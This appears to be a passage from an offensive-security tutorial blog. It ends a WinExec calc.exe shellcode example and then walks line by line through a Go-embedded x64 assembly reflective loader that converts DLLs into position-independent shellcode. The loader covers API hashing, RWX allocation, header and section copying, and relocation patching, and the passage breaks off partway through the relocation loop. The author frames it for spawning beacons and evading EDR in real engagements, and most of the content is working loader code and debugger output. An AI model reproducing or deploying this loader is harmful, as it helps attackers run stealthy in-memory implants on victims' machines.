A great source of information is [Microsoft's website](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170).&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FDIbnccffy7o7EKdG7dJi%2Fimage.png?alt=media&amp;token=63e0a818-0256-4fd2-94e8-a5fec61bee2d" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170#parameter-passing">x64 Windows Calling Convention</a></p></figcaption></figure>

With this knowledge let's pass the arguments to WinExec.

```c
UINT WinExec(
  [in] LPCSTR lpCmdLine,
  [in] UINT   uCmdShow
);
```

So WinExec definition from microsoft states that that the first argument should be the a pointer to the null terminated string.&#x20;

Lines 4-8: &#x20;

Line 4: zero -> rcx

Line 5: push 0 to the stack. This will act as the null termination

Line 6: The hex values of calc.exe are moved to rcx

To convert ascii to hex I am using this online converter <https://www.rapidtables.com/convert/number/ascii-to-hex.html>

calc.exe = 63 61 6C 63 2E 65 78 65 + 00

```
"    mov rcx, 0x6578652e636c6163;", // exe.clac
```

{% hint style="info" %}
Be careful when the bytes are pushed into the stack the order will be reversed, so the bytes should be written in the register in reverse order as shown above.

Also the register can only hold 8-bytes so if the string is longer we will need to go through this process multiple times until the whole string is stored
{% endhint %}

Line 7: Pushes the string to the stack

Line 8: Get a pointer to the string in the rcx register. ( first argument)

Lines 9-10: zero rdx and inc by 1.&#x20;

Line 11: Argument storage space ( shadow space) and stack alignment

Line 12: Finally calling the function.

```
0:010> r rcx,rdx
rcx=0000001ea51ff9d8 rdx=0000000000000001
0:010> da 0000001ea51ff9d8
0000001e`a51ff9d8  "calc.exe"
```

Just before calling the function this is what we see in rcx,rdx which is exactly what we expect.&#x20;

Stepping over the function should launch a calc.exe process

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fa6Pg6AswKmfNPyG6x6sQ%2Fimage.png?alt=media&amp;token=8578af7d-1696-4d4d-8d2e-ce8c5ae737b4" alt=""><figcaption><p>Success</p></figcaption></figure>

The whole shellcode template can be found [here](https://github.com/scriptchildie/goShellcodeDevelopment).


# 3. Transforming DLLs into Shellcode

\#srdi #golang #assembly #x64 #shellcode #shellcodedevelopment

## Introduction

A common technique used in offensive security is reflectively loading dlls in memory in order to spawn a beacon or to add functionality to an already existing implant. In some ways this is a stealthier way of executing code since we don't have to write a dll to disk and we don't generate any kernel alerting indicating a new module has been loaded in the process.&#x20;

Also, turning the dll into shellcode gives additional flexibility since we can use our favourite [shellcode loaders](/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) / [injectors ](/code-injection-techniques/shellcode-injection)to execute dll code.&#x20;

Fortra has recently release an [article](https://www.cobaltstrike.com/product/features/user-defined-reflective-loader#:~:text=The%20UDRL%20is%20a%20primary,further%20expanded%20in%20version%204.9.) announcing that cobalt strike users could define their own reflective loader to help evading security solutions. Bobby Cooke from IBM X-Force Red has released this [article ](https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/)to describe how a user defined loader has been implemented to cobalt strike.&#x20;

Let's do a deep dive on how to write a reflective loader in assembly, that turns any dll into position independent shellcode.&#x20;

## DLL -> Shellcode

In this [article](/code-injection-techniques/dll-injection/2.-reflective-dll-injection) I went through the code of creating a reflective loader using Go. Turning a dll into shellcode involves taking the bytes of a dll and append (or prepend) the code described in the above article to the dll bytes. &#x20;

For this project we will structure the shellcode as shown in the image below:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FRIul3kjMduBHGBb471BZ%2Fimage.png?alt=media&amp;token=61c108ef-8ab6-4e94-90af-6eb8268e1520" alt="" width="221"><figcaption><p>Shellcode structure</p></figcaption></figure>

Once we run the code we will hit a jump instruction. This instruction will help us jump over the DLL bytes and DLL size to the shellcode were all the magic happens. We could have the Reflective loader at the very top instead of having a jmp instruction but that would make the development process a bit harder as I would have to constantly modify the offsets as my shellcode grew.

Our shellcode will then allocate some memory in the Heap, copy over the headers, sections modify a few bits, assign it execute privileges and hopefully the dll will run.&#x20;

## Pre-requisites&#x20;

Anyone attempting to follow the next section should be familiar with the following subjects:

* [DLL reflective loading ](/code-injection-techniques/dll-injection/2.-reflective-dll-injection)
* [x64 Assembly & Shellcode development ](/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro)
* Understanding of PE Headers (PE-Bear is a great tool)
* Basic use of windbg (or any windows debugger capable of debugging x64 code)

## Recommendations&#x20;

I recommend following along in your debugger to truly understand the implementation below. It's hard to follow assembly in a blog :smile:

The full code can be found here:

<https://github.com/scriptchildie/GoDll2Shellcode>

## Code Break down

### Read DLL bytes&#x20;

As per the structure we defined the first instruction in our shellcode will be a jmp instruction that will take us on the first line of the Reflective Loader.&#x20;

```go
dllBytes, err := os.ReadFile("mydll.dll")
if err != nil {
	log.Fatalf("Failed to open file %v", err)
}

sizeBytes := uint64ToBytes(uint64(len(dllBytes)))

jmpInstruction := fmt.Sprintf("jmp 0x%x;", len(dllBytes)+13)
```

The above code reads the contents of the dll file and writes them into a byte slice dllBytes. It then turns the size into 64-bit unsigned integer.&#x20;

The last line creates the string in the format keystone-engine expects it to be in order to turn it to opcodes.&#x20;

So if the size of the dll is 20-bytes the jmp instruction will jump forward 33-bytes.

* 20 bytes (dll bytes)
* 8 bytes (the size value at the end of the bytes)
* 5 bytes for the jmp instruction

### Shellcode Prologue

{% code lineNumbers="true" %}

```nasm
"Prologue:",
"	push r12;",		//Push non-volatile registers to stack
"	push r13;",
"	push r14;",
"	push r15;",
"	push rsi;",
"	push rdi;",
"	push rbx;",
"	push rbp;",
"	mov rbp,rsp;",	// move rsp to rbp (use rbp as reference for local variables / not x64 standard)
"	and rsp,0x0FFFFFFFFFFFFFFF0;",	// stack alignment
"	sub rsp,0x200;",			// create stack space
```

{% endcode %}

If we want our main program to continue executing after running our shellcode we should preserve all non-volatile registers as per the [windows x64 convention](https://learn.microsoft.com/en-us/cpp/build/x64-software-conventions?view=msvc-170#x64-register-usage).

* Lines 2-9: push all non-volatile registers to stack&#x20;
* Line 10: This is not best practise for x64 but I find it easier to have rbp as a reference for my local variables.&#x20;
* Line 11: Setting the last 4-bits to 0 ensures that our stack stays 16-byte aligned. We could face random crashes if our stack is not aligned.
* Line 12: We create space in our stack for our local variables.&#x20;

### Calculating offsets

{% code lineNumbers="true" %}

```nasm
"       lea rdi, [rip - 0x29];",       // Get the address of the dll size
"       mov rax, [rdi];",            //DLL size
"	sub rdi, rax;",                //base address of the raw dll bytes
" 	mov qword ptr [rbp],rax;",    // push size of DLL to stack
" 	mov qword ptr [rbp-8],rdi;",  // push base address of the raw dll bytes to stack
```

{% endcode %}

* Line 1 : Gets the address where our dll size is kept

{% hint style="info" %}
If you would like to follow along and you would like to add a break point it should be added below this instruction. That's because it uses rip as a reference and anything added on top of this instruction will mess up the hardcoded 0x29 offset to the dll size.
{% endhint %}

* Line 2: Get the dll size in rax
* Line 3: Sub the dll size from the address to get the base address of the dll
* Line 4: Push the dll size to stack
* Line 5: push base address of the dll to stack

{% hint style="info" %}
Since my asm code is expected to become very long by the time it's complete, I like to keep an index of what's stored where in the stack in case I would like to access it later on in the code. This is how it looks by the time my shellcode is complete.

```go
/*
		[rbp] 		-> dll size
		[rbp-0x8] 	-> dllPtr base address of the raw dll bytes
		[rbp-0x10]	-> ntdll.dll base address
		[rbp-0x18]	-> kernel32.dll base address
		[rbp-0x20]	-> ntheader address
		[rbp-0x28]	-> fileheader address
		[rbp-0x30]	-> optional header address
		[rbp-0x38]      -> dllBase address
		[rbp-0x40] 	-> deltaImageBase
		[rbp-0x48]      -> CurrentProcess Handle 0xfffffff..
*/
```

{% endhint %}

Checking quickly if we have the right values in windbg. So rax holds the value 0xb55e. That's the equivalent of 46430.&#x20;

Cross checking the size of the dll on disk we can confirm that this is the right value.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FQlpGbnS0yZJPHo4yoYib%2Fimage.png?alt=media&amp;token=9f722031-03e8-4b97-a9b8-49096a5264ad" alt=""><figcaption><p>Dll Size cross check</p></figcaption></figure>

And rdi points to the beginning of the dll.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FjMPLKhzVqsVRLRbZFDer%2Fimage.png?alt=media&amp;token=996a9c80-d649-40d0-ba49-131862120260" alt=""><figcaption><p>Dll base address</p></figcaption></figure>

### Finding Kernel32 & GetProcAddress&#x20;

These functions are explained in detail in me [previous blog](/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro).&#x20;

### Reflective loader start

The actual reflective loader code starts below:

{% code lineNumbers="true" %}

```nasm
"reflective_loader:",
"	xor rax,rax;",
"	mov rdi, [rbp-8];",              // Get the address raw dll
"	mov eax, dword ptr [rdi+0x3c];", // e_lfanew -> ax
"	add rdi,rax;",                   // Address of ntheader
" 	mov qword ptr [rbp-0x20],rdi;", //  push address of ntheader to stack
"	add rdi,0x4;",                   // address of file header
" 	mov qword ptr [rbp-0x28],rdi;", //  push address of fileheader to stack
"	add rdi,0x14;",                  // address of file header
" 	mov qword ptr [rbp-0x30],rdi;", //  push address of optional to stack
"	mov eax, dword ptr [rdi+0x38];", // size of image to eax
"	push rax;",                      //push size of image to stack eax to be used from parse_module
"	mov rax, qword ptr [rdi+0x18];", // imagebase to rax
"	push rax;",
```

{% endcode %}

The aim of the above code is to identify the size of the dll in order to allocate the right size in the upcoming VirtualAlloc API call.&#x20;

* Line 3: Move base address of dll in rdi
* Line 4: Get the nt header offset to eax.&#x20;

A quick check to ensure we have the right value in eax:

```
000001ee`65c6b62d 8b473c          mov     eax,dword ptr [rdi+3Ch] ds:000001ee`65c60041=00000080
0:000> 
000001ee`65c6b630 4801c7          add     rdi,rax
0:000> r eax
eax=80

```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FWVGynp0eS86lvmOI7qkw%2Fimage.png?alt=media&amp;token=a95ccfe3-de70-4962-93bb-6d9617d96d3b" alt=""><figcaption><p>DOS header</p></figcaption></figure>

We can see that File address of new exe header is 80 so we have the right value

* Lines 5-10: A series of calculations to calculate the addresses of nt, file and optional headers. We also store them in the stack in case they are needed in the upcoming code.&#x20;

Let's check if rdi on line 10 holds the address of the optional header. We expect to see the value 20B.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fxi2JOorbFwSrrdPeloXp%2Fimage.png?alt=media&amp;token=f540fb09-6512-4423-b1eb-3cb4c63bd561" alt=""><figcaption><p>Optional header (PE Bear)</p></figcaption></figure>

So cross checking in windbg shows the right value. Great.

```
0:000> dw rdi L1
000001ee`65c6009d  020b
```

Line 11 & 13: Move the size of the image to eax and the image base to rax followed by a push instruction

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FNos0GHl0psRzA96qYAyI%2Fimage.png?alt=media&amp;token=7319466d-1675-4866-8a01-f7f70893e54e" alt=""><figcaption><p>Optional header</p></figcaption></figure>

We can see that at offset B0 and D0 we have the desired values. When we check the stack we should find those values stored.

```
0:000> dq rsp L2
000000a2`551ff7f0  00000003`ae720000 00000000`00013000
```

### VirtualAlloc - Allocate memory for our dll

```c
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

* lpAddress will be set to the the ImageBase (if available)
* dwSize will be equal to the Size of Image
* flAllocationType  = MEM\_RESERVE | MEM\_COMMIT = 0x3000
* flProtect = PAGE\_EXECUTE\_READWRITE = 0x40&#x20;

{% hint style="info" %}
If you plan on using this code in real world engagement the PAGE\_EXECUTE\_READWRITE permissions will most likely get investigated by the EDR.&#x20;

Also it might be a better idea use indirect syscalls to call these functions
{% endhint %}

We now have to assign these values to rcx,rdx,r8 and r9 before making the function call.

{% code lineNumbers="true" %}

```go
"call_virtualAlloc:",
"       mov r9,qword ptr [rbp-0x18];", // move kernel32 base address to r9 for parse_module
"       mov r8d, 0x91afca54;",         // VirtualAlloc Hash
"       call parse_module;",           // Search and obtain address of VirtualAlloc
"	pop rcx;",                       // imagbase to rcx
"	mov rsi,rcx;",                   //save the value for later
"	pop rdx;",                       // image soze to rdx
"	mov r8, 0x3000;",                //MEM_RESERVE | MEM_COMMIT = 0x3000
"	mov r9, 0x40;",                  //PAGE_EXECUTE_READWRITE = 0x40
"	sub rsp,0x20;", // shadow space
"	call rax;",     // call VirtualAlloc
"	add rsp,0x20;", // restore stack
" 	mov qword ptr [rbp-0x38],rax;", //  push dllBase address to stack
"	sub rax,rsi;",                   // deltaImageBase to be used later
" 	mov qword ptr [rbp-0x40],rax;", //  push deltaImageBase to stack
```

{% endcode %}

Lines 2-4: Use the parse\_module to get the address of virtual alloc:

* r9 -> kernel32 base address
* r8d -> VirtualAlloc hash calculated using [this script](/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#helper-code-for-hash-calculation)
* Line 5: Pop imagebase from the stack to rcx (first argument)&#x20;
* Line 7: Pop image size from the stack to rdx ( second argument)
* Line 8: r8 = 0x3000 (third argument)
* Line 9: r9 = 0x40 (fourth argument)
* Lines 10&12: Allocate shadow space as per the x64 calling convention.&#x20;
* Line 13: Store the allocated address to the stack
* Line 14: Calculate the difference between desired address and allocated address (if different). It will be useful later on when we are relocating hardcoded addresses.
* Line 15: Save the address difference to the stack

### Copy DLL Headers

To simplify the Proof of Concept we are using WriteProcessMemory to copy the headers to the destination address. WriteProcessMemory is monitored by most EDRs so it might cause our payload to be flagged. It should be easy enough to write a memcpy function in assembly.&#x20;

In this section we are using 2 windows APIS

#### &#x20;GetCurrentProcess

```c
HANDLE GetCurrentProcess();
```

This API doesn't take any arguments and it always returns -1 (0xFFF..). We could hardcode this value but it's not recommended by Microsoft.&#x20;

{% code lineNumbers="true" %}

```go
"call_currentProcess:",
"   mov r9,qword ptr [rbp-0x18];", // move kernel32 base address to r9 for parse_module
"   mov r8d, 0x7b8f17e6;",         // GetCurrentProcess Hash
"   call parse_module;",           // Search and obtain address of GetCurrentProcess
"   call rax;",                      // call GetCurrentProcess
"   mov qword ptr [rbp-0x48],rax;", //  push Current Process handle to stack
```

{% endcode %}

Line 2: Similarly with the previous functions we have kernel32 base address in r9

Line 3: The hash of the function in r8

Line 4: Call parse\_module to get the function address

Line 5: And call rax where the function address is stored.

Line 6: We then save  the handle to the stack

#### WriteProcessMemory

```c
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

Let's have a quick look on what the arguments should be:

* hProcess = The pseudo handle output from the GetCurrentProcess() function &#x20;
* lpBaseAddress  = The output from the VirtualAlloc() function&#x20;
* lpBuffer = Raw DLL bytes&#x20;
* nSize = Size of headers from optional header
* lpNumberOfBytesWritten = Pointer to the stack.&#x20;

Let's see how does this translate in assembly code.&#x20;

{% code lineNumbers="true" %}

```nasm
"call_writeprocessmemory:",         // Write headers to the target address
"       mov r9,qword ptr [rbp-0x18];",  // move kernel32 base address to r9 for parse_module
"       mov r8d, 0xd83d6aa1;",          // WriteProcessMemory Hash
"       call parse_module;",            // Search and obtain address of WriteProcessMemory
"       mov rcx,qword ptr [rbp-0x48];", // current process handle
"	mov rdx,qword ptr [rbp-0x38];",   //dll base
"	mov r8,qword ptr [rbp-0x8];",     // raw bytes of dll
"	xor r9,r9;",
"	push r9;",                       // Placeholder for the bytesWritten
"	mov r9d, dword ptr [rdi+0x3c];", // Size of headers to r9
"       lea rsi, [rsp];",              //place to write the byteswritten
"	push rsi;",
"	sub rsp,0x20;", // shadow space
"	call rax;",     // call WPM
"	add rsp,0x20;", // restore stack
```

{% endcode %}

&#x20;As always Lines 1-4: We pass kernel32 base address to r9, WriteProcessMemory hash to r8d and  we call parse\_module.&#x20;

Now it's a good time to refer to our index to find where are the desired values on the stack

```
/*
		[rbp] 		-> dll size
		[rbp-0x8] 	-> dllPtr base address of the raw dll bytes
		[rbp-0x10]	-> ntdll.dll base address
		[rbp-0x18]	-> kernel32.dll base address
		[rbp-0x20]	-> ntheader address
		[rbp-0x28]	-> fileheader address
		[rbp-0x30]	-> optional header address
		[rbp-0x38]      -> dllBase address
		[rbp-0x40] 	-> deltaImageBase
		[rbp-0x48]      -> CurrentProcess Handle 0xfffffff..
*/
```

* line 5: rcx = Moved the pseudohandle to rcx
* line 6: rdx = Moved the dll base to rdx
* line 7: r8 = Moved the raw dll bytes to r8
* line 10: Move size of headers from optional header + offset 0x3c
* Line 9-11: Create a zero qword onto the stack, Get a pointer to the location and push to the stack since this is the 5th argument.&#x20;
* Line 13-15:  Create shadow space and call function&#x20;

We have done quite a lot, let's see if we get the values we expect before and after the call instruction in windbg.

```
0:000> r rcx,rdx,r8,r9 ; dq rsp L1
rcx=ffffffffffffffff rdx=00000003ae720000 r8=0000014afbf00005 r9=0000000000000600
00000006`8bdff490  00000006`8bdff498
0:000> dq 00000006`8bdff498
00000006`8bdff498  00000000`00000000
```

Everything looks as we expect them before the call. Let's see if the 0x600 bytes are written to the destination memory after the call.&#x20;

```
0:000> dq 00000006`8bdff498 L1 
00000006`8bdff498  00000000`00000600
```

The variable lpNumberOfBytesWritten is set to 0x600, but let's double check the destination memory if it has the same contents as the buffer.&#x20;

```
0:000> db 00000003ae720000 L 30; db 0000014afbf00005 L 30 
00000003`ae720000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
00000003`ae720010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
00000003`ae720020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0000014a`fbf00005  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
0000014a`fbf00015  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
0000014a`fbf00025  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
```

All is looking good :)

### Copy DLL Sections

The background knowledge of what we are trying to achieve can be found [here](https://www.scriptchildie.com/payloads/shellcode-development/pages/pIMDHR3mWQ7IkgRwtr4V#id-1.-raw-offsets-greater-than-rva) and the Go code [here](https://www.scriptchildie.com/payloads/shellcode-development/pages/pIMDHR3mWQ7IkgRwtr4V#id-4.-copy-the-dll-sections).&#x20;

Let's dive into the assembly&#x20;

#### Number of sections

{% code lineNumbers="true" %}

```go
"copy_sections:",                 //Copy sections to the target address
"	mov r13,qword ptr [rbp-0x30];", // Optional header -> rsi
"	add r13, 0xf0;",                // Section header = Optionalheader + 0xf0 -> rsi
"	mov rdi,qword ptr [rbp-0x28];", // fileheader address -> rdi
"	mov ax, word ptr [rdi+0x2];",   // FileHeader.NumberOfSections -> ax
"	mov rdi,rax;",                  // rax volatile writeprocess memory would erase
```

{% endcode %}

Before copying the sections to the destination address we need to identify the section header address and the number of sections

* Line 2-3: Section header is located at offset +0xf0 from the optional header
* Line 4: Move fileheader address to rdi
* Line 5: Move number of sections to rax
* Line 6: Store the in rdi

#### Copy sections loop

{% code lineNumbers="true" %}

```go
"copy_sections_loop:",
"	cmp rdi,0;",                      //check if loop is finished
"	je copy_sections_loop_finished;", // jump out of the loop

"       mov r9,qword ptr [rbp-0x18];", // move kernel32 base address to r9 for parse_module
"       mov r8d, 0xd83d6aa1;",         // WriteProcessMemory Hash
"       call parse_module;",           // Search and obtain address of WriteProcessMemory

"       mov rcx,qword ptr [rbp-0x48];", // current process handle
"	mov rdx,qword ptr [rbp-0x38];",   //dll base
"	xor r12,r12;",                    // 0 -> r12
"	mov r12d,dword ptr [r13+0xc];",   // section.VirtualAddress -> r12d
"	add rdx,r12;",                    // dllbase + sectionVA
		
"	mov r8,qword ptr [rbp-0x8];",    // raw bytes of dll
"	mov r12d,dword ptr [r13+0x14];", // section.PointerToRawData              -> r12d
"	add r8,r12;",                    //dllPtr+section.PointerToRawData
"	xor r9,r9;",
"	push r9;",                       // Placeholder for the bytesWritten
"	mov r9d, dword ptr [r13+0x10];", // SizeOfRawData
"       lea r11, [rsp];",              //place to write the byteswritten
"	push r11;",
"	sub rsp,0x20;", // shadow space
"	call rax;",     // call WPM
"	add rsp,0x20;", // restore stack
	// WPM E
"	dec rdi;",                // rax--;
"	add r13, 0x28;",          // point to the beginning of the next section header
"	jmp copy_sections_loop;", // next iteration

"copy_sections_loop_finished:",
"	nop;",

```

{% endcode %}

The above code might look scary at first but let's break it down:&#x20;

* Line 2:  Line 2 checks if rdi is zero. rdi holds the number of sections and the value decrements by 1 with each iteration.
* Line 3: If rdi == 0 it means that all sections have been copied and we should break off the loop by jumping to line 32 (copy\_sections\_loop\_finished).
* Lines 5-7: Identify WriteProcessMemory using parse\_module

#### WriteProcessMemory args

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FaCa0DsAbHEr7KZ3fQZ0J%2Fimage.png?alt=media&amp;token=9013fbd3-b586-42c7-aca2-459c364a0a44" alt=""><figcaption><p>Sections header</p></figcaption></figure>

Let's have a quick look what arguments we will be passing to WriteProcess Memory&#x20;

* hProcess = The pseudo handle output from the GetCurrentProcess() function &#x20;

* lpBaseAddress  = Base address + RVA of the section&#x20;

* lpBuffer = Base address of Raw DLL bytes + Raw Address&#x20;

* nSize = Size of Raw Data

* lpNumberOfBytesWritten = Pointer to the stack.&#x20;

* Line 12: Moves Relative Virtual Address from the section header to r12

* Line 13: Calculates the Virtual Address by adding base address (from VirtualAlloc)

* Line 16: Moves the pointer of Raw data to r12

* Line 17: Adds the base address of the raw bytes

* Line 20: Moves the size of raw data&#x20;

Let's have a quick look at the data when the WriteProcessMemory function is called for the first time.

```
0:000> r rcx,rdx,r8,r9 ; dq rsp L2
rcx=ffffffffffffffff rdx=00000003ae721000 r8=0000014afbf00605 r9=0000000000001600
00000006`8bdff480  00000006`8bdff488 00000000`00000000
```

The data matches to the .text section data we see from the PE-bear section

* Line 27: Decrements the sections counter by 1&#x20;
* Line 28: Adds 0x28 to r13, It points to the beginning of the next section&#x20;
* Line 29: Jumps at the beginning of the loop

### Memory Relocations

With all our sections in place the next task is to find all the hardcoded addresses in our code, and add the deltaImageBase we calculated earlier in our code.&#x20;

The background knowledge can be found [here ](https://www.scriptchildie.com/payloads/shellcode-development/pages/pIMDHR3mWQ7IkgRwtr4V#id-2.-relocations)and the go code [here](https://www.scriptchildie.com/payloads/shellcode-development/pages/pIMDHR3mWQ7IkgRwtr4V#id-5.-relocations).&#x20;

Let's have dive into the assembly.

```nasm

"memory_relocations:",            // start memory relocations
"	mov r13,qword ptr [rbp-0x30];", // Optional header -> r13
"	add r13, 0x98;",                // Points to IMAGE_DIRECTORY_ENTRY_BASERELOC
"	mov eax, dword ptr[r13];",      // relocations.VirtualAddress ->rax
"	add rax,qword ptr [rbp-0x38];", // relocation_table
"	xor rdi,rdi;",                  // relocations_processed counter

"memory_relocations_loop:",
"	mov rsi,rax;",
"	add rsi,rdi;",                //relocation block (relocation_table + relocations processed) -> rsi
"	mov r8d, dword ptr [rsi];",   //PAGERVA
"	mov r9d, dword ptr [rsi+4];", //BlockSize
"	mov rcx,r9;",                 //Block size -> rcx
"	sub rcx,0x8;",                // BLocksize-8 ->rcx
"	shr rcx,1;",                  // Blocksize/2 -> rcx
"	xor r10,r10;",
"	or r10d,r9d;",
"	or r10d,r8d;",
"	test r10d,r10d;", //check r10d is zero
"	jz exit_relocations_loop;",
"	add rsi, 0x8;", // relocEntry

"relocation_entries_loop:",
"	cmp rcx,0;",
"	je relocation_entries_loop_end;", // jump out of the loop
"	mov r11d,dword ptr [rsi];",
"	and r11d,0xf000;",
"	shr r11d,12;",                             //type -> r11
"	test r11,r11;",                            //test if r11 is 0
"	jz relocation_entries_loop_inc_counters;", //continue

"	mov r11d,dword ptr [rsi];", //type -> r11
"	and r11d,0xfff;",
"	mov r13,r8;",
"	add r13,r11;", //relocationRVA
"	add r13, qword ptr[rbp-0x38];", //absolute address of relocation
"	mov r12, qword ptr[r13];",      //  address to patch -> r9
"	add r12, qword ptr[rbp-0x40];", // address to patch  + delta
"	mov qword ptr[r13], r12;",      // patch

"relocation_entries_loop_inc_counters:",
"	dec rcx;",
"	add rsi, 0x2;",
"	jmp relocation_entries_loop;",

//end of relocations entries loop
"relocation_entries_loop_end:",
"	add rdi,r9;",                  // point to the next relocationblock
"	jmp memory_relocations_loop;", //iterate

"exit_relocations_loop:",


```

The code is fairly long but let's break it down.&#x20;

We have the outer loop ( memory\_relocations\_loop) that loops through the relocation Blocks and within each block we have the inner loop that loops through the entries.&#x20;

For mydll.dll example this is how the relocations look like:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FlSlx4l1nXrnMGNjxq01o%2Fimage.png?alt=media&amp;token=ee0ed7b5-bd65-491e-af7a-8c8d2711f249" alt=""><figcaption><p>Relocations in PE-bear</p></figcaption></figure>

The outer loop will loop 4 times as it can be seen at the very top. The inner loop for the  block at offset 0x360C will iterate over the 0x10 (16) entries.

#### Address of relocations

{% code lineNumbers="true" %}

```nasm
"memory_relocations:",            // start memory relocations
"	mov r13,qword ptr [rbp-0x30];", // Optional header -> r13
"	add r13, 0x98;",                // Points to IMAGE_DIRECTORY_ENTRY_BASERELOC
"	mov eax, dword ptr[r13];",      // relocations.VirtualAddress ->rax
"	add rax,qword ptr [rbp-0x38];", // relocation_table
"	xor rdi,rdi;",                  // relocations_processed counter
```

{% endcode %}

* Line 3: Relocation Blocks RVA is located at offset 0x98 from the beginning of the optional header.&#x20;
* Line 4: RVA Value stored in eax
* Line 5: Add base address to get the relocation\_table address in memory
* Line 6: Zero rdi to use as a loop counter in the next section

#### Relocations Block (Outer Loop)

{% code lineNumbers="true" %}

```nasm
"memory_relocations_loop:",
"	mov rsi,rax;",                // relocation_table
"	add rsi,rdi;",                //relocation block (relocation_table + relocations processed) -> rsi
"	mov r8d, dword ptr [rsi];",   //PAGERVA
"	mov r9d, dword ptr [rsi+4];", //BlockSize
"	mov rcx,r9;",                 //Block size -> rcx
"	sub rcx,0x8;",                // BLocksize-8 ->rcx
"	shr rcx,1;",                  // Blocksize/2 -> rcx
"	xor r10,r10;",
"	or r10d,r9d;",
"	or r10d,r8d;",
"	test r10d,r10d;", //check r10d is zero
"	jz exit_relocations_loop;",
"	add rsi, 0x8;", // relocEntry
...
...

"	add rdi,r9;",                  // point to the next relocationblock
"	jmp memory_relocations_loop;", //iterate

"exit_relocations_loop:",
```

{% endcode %}

* Line 2: Move relocation\_table address to rsi
* Line 3: Line 3 adds the rdi to rsi, in order to point to the next relocation block
* Line 4: Move PAGERVA in r8
* Line 5: Move Block Size in r9
* Line 6-9: `relocationsCount := (relocation_block.BlockSize - 8) / 2`

We are essentially turning the relocation blocksize to the number of relocation entries in the block. This will be used later in the inner loop.

* Line 7: Subtracts 8 from the block size in rcx
* Line 8: Performs a right shift on rcx by 1 bit, essentially dividing the value in rcx by 2&#x20;
* Lines 10-12 test if PAGERVA or BlockSize is zero
* Line 13: If any of those values is zero the loop exits
* Line 14: If none of them are zero we add 0x8 to rsi to get the address of the first relocation entry
* Line 15: will have our inner loop that rotates through the entries
* Line 18: Adds the block size to rdi in order to reach the next block on the next iteration&#x20;
* Line 19: Jumps back to the beginning of the loop&#x20;

{% hint style="info" %}
When writing loops it will make sense to set a break point to line 14 in this case to make sure that it points to the first entry of each block.&#x20;

Also another break point at the exit\_relocation\_loop to ensure it exits the loop when we expect it to do
{% endhint %}

A quick check confirms that our loop performs as expected:

```
0:000> bp 0000014a`fbf0b775
0:000> g
Breakpoint 0 hit
0000014a`fbf0b775 4883c608        add     rsi,8
0:000> p
0000014a`fbf0b779 4883f900        cmp     rcx,0
0:000> dw rsi L1 
00000003`ae72c008  a558
..
0:000> dw rsi L1 
00000003`ae72c014  a010
```

#### Relocation Entries Loop (inner loop)

{% code lineNumbers="true" %}

```nasm
"relocation_entries_loop:",
"	cmp rcx,0;",
"	je relocation_entries_loop_end;", // jump out of the loop
"	mov r11d,dword ptr [rsi];",
"	and r11d,0xf000;",
"	shr r11d,12;",                             //type -> r11
"	test r11,r11;",                            //test if r11 is 0
"	jz relocation_entries_loop_inc_counters;", //continue

"	mov r11d,dword ptr [rsi];", //type -> r11
"	and r11d,0xfff;",
"	mov r13,r8;", // r8 holds page RVA
"	add r13,r11;", //relocationRVA

"	add r13, qword ptr[rbp-0x38];", //absolute address of relocation
"	mov r12, qword ptr[r13];",      //  address to patch -> r9
"	add r12, qword ptr[rbp-0x40];", // address to patch  + delta
"	mov qword ptr[r13], r12;",      // patch

"relocation_entries_loop_inc_counters:",
"	dec rcx;",
"	add rsi, 0x2;",
"	jmp relocation_entries_loop;",
```

{% endcode %}

